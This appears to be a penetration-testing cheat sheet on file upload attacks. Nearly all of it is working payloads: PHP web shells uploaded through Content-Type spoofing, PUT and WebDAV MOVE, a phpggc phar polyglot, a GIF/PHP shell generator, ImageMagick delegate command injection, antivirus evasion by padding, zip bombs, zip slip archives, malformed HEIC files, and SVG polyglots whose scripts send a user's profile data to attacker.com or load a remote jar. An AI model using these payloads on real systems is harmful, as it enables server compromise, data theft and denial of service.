File Upload Attacks

# Intercept upload in Burp Suite and change Content-Type:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream

# Full multipart request example:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

# Test for PUT support
OPTIONS / HTTP/1.1
Host: target.com

# Response might include: Allow: GET, POST, PUT, DELETE

# Upload file via PUT
PUT /uploads/shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-httpd-php
Content-Length: 30

<?php system($_GET['cmd']); ?>

# If PUT is blocked, try MOVE (WebDAV)
PUT /uploads/shell.txt HTTP/1.1
...
MOVE /uploads/shell.txt HTTP/1.1
Destination: /uploads/shell.php

# PHAR polyglot — a bare __HALT_COMPILER() stub is NOT a valid phar (it has no
# manifest, so phar:// will not deserialize it). Build a real archive first:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

# Prepend a real image header so the archive also passes image checks — the phar
# stub may contain arbitrary leading bytes as long as it ends with
# __HALT_COMPILER();.
cat header.jpg exploit.phar > polyglot.phar.jpg

# Trigger via: ?file=phar://uploads/polyglot.phar.jpg/test.txt

# Multi-format polyglot: valid as JPEG, HTML, and JavaScript simultaneously
# The browser renders it based on Content-Type header
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg
mv photo.jpg photo.jpg.html  # Serves as HTML if MIME not enforced

# GIF + PHP that survives GD library re-processing
# GD preserves comment blocks in GIF89a format
python3 -c "
gif = b'GIF89a'  # GIF header
gif += b'\x01\x00\x01\x00\x80\x00\x00'  # Dimensions/color
gif += b'\xff\xff\xff\x00\x00\x00'  # Color table
gif += b'\x21\xfe'  # Comment extension
payload = b'<?php system($_GET["c"]); ?>'
gif += bytes([len(payload)]) + payload
gif += b'\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00\x3b'
open('shell.gif.php','wb').write(gif)
"

# Apache mod_mime vs PHP — Apache processes right-to-left, PHP left-to-right
# Upload: shell.php.jpg → Apache serves as image, but PHP executes if .php handler matches

# Nginx vs PHP-FPM path confusion
# Upload: image.jpg → Access: /uploads/image.jpg/.php
# If cgi.fix_pathinfo=1, PHP processes image.jpg as PHP code

# ImageMagick vs web server
# ImageMagick delegates processing based on file content, not extension
# Upload a file that ImageMagick processes with a vulnerable delegate:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com"|id > /tmp/pwned")'
pop graphic-context
# Save as: exploit.svg or exploit.mvg

# AV evasion via content padding
# Add benign content to push malicious payload past scanner's max scan size
dd if=/dev/zero bs=1M count=100 > padding.bin
cat padding.bin shell.php > padded_shell.php
# Many AVs skip files over a certain size threshold

# Classic zip bomb — small file that expands to enormous size
# Causes DoS when server decompresses uploaded archives
python3 -c "
import zipfile, io, os
# Create a ~1GB decompression bomb in a ~1MB file
payload = b'\x00' * (1024 * 1024 * 100)  # 100MB of nulls (compresses to ~100KB)
with zipfile.ZipFile('bomb.zip', 'w', zipfile.ZIP_DEFLATED) as z:
    for i in range(10):
        z.writestr(f'file_{i}.txt', payload)
# Result: ~1MB zip that extracts to ~1GB
"

# Nested zip (zip within zip) — each layer is linear, not an exponential bomb
python3 -c "
import zipfile, io
inner = io.BytesIO()
with zipfile.ZipFile(inner, 'w', zipfile.ZIP_DEFLATED) as z:
    z.writestr('data.txt', b'A' * 1048576)
for _ in range(10):
    outer = io.BytesIO()
    with zipfile.ZipFile(outer, 'w') as z:
        z.writestr('inner.zip', inner.getvalue())
    inner = outer
open('recursive_bomb.zip','wb').write(outer.getvalue())
"

# Zip slip (path traversal via archive entry names)
python3 -c "
import zipfile
with zipfile.ZipFile('slip.zip', 'w') as z:
    z.writestr('../../../tmp/evil.php', '<?php system($_GET["c"]); ?>')
"

<!-- SVG + HTML polyglot: valid SVG that also executes as HTML -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <script>
        // Full JavaScript execution in SVG context
        fetch('/api/user/profile', {credentials: 'include'})
          .then(r => r.json())
          .then(d => fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(d))));
      </script>
    </div>
  </foreignObject>
</svg>

<!-- SVG with embedded Java applet (legacy attack) -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <object data="https://attacker.com/malicious.jar" type="application/x-java-applet"/>
    </body>
  </foreignObject>
</svg>

# HEIF/HEIC processing vulnerabilities target server-side image libraries
# libheif CVEs: heap overflows, out-of-bounds reads, integer overflows

# Test 1: Upload malformed HEIC that crashes server-side processing
# Generate a fuzzed HEIC with corrupted ISOBMFF box structures
python3 -c "
# Minimal HEIF container with corrupted box length
heif = b'\x00\x00\x00\x20ftyp'  # File type box
heif += b'heic'                     # Major brand
heif += b'\x00\x00\x00\x00'     # Minor version
heif += b'heic'                     # Compatible brand
heif += b'\xff\xff\xff\xff'     # Oversized meta box length (triggers overflow)
heif += b'meta'
open('malformed.heic','wb').write(heif)
"

# Test 2: Check if server converts HEIC → JPEG (common on upload)
# The conversion library (ImageMagick, libheif, sharp) may be outdated
curl -X POST https://target.com/api/upload \
  -F "file=@malformed.heic;type=image/heic"

# Test 3: EXIF data in HEIF (same as JPEG EXIF attacks)
# HEIF stores EXIF in 'Exif' item, potentially with XSS payloads
exiftool -Comment='<script>alert(1)</script>' photo.heic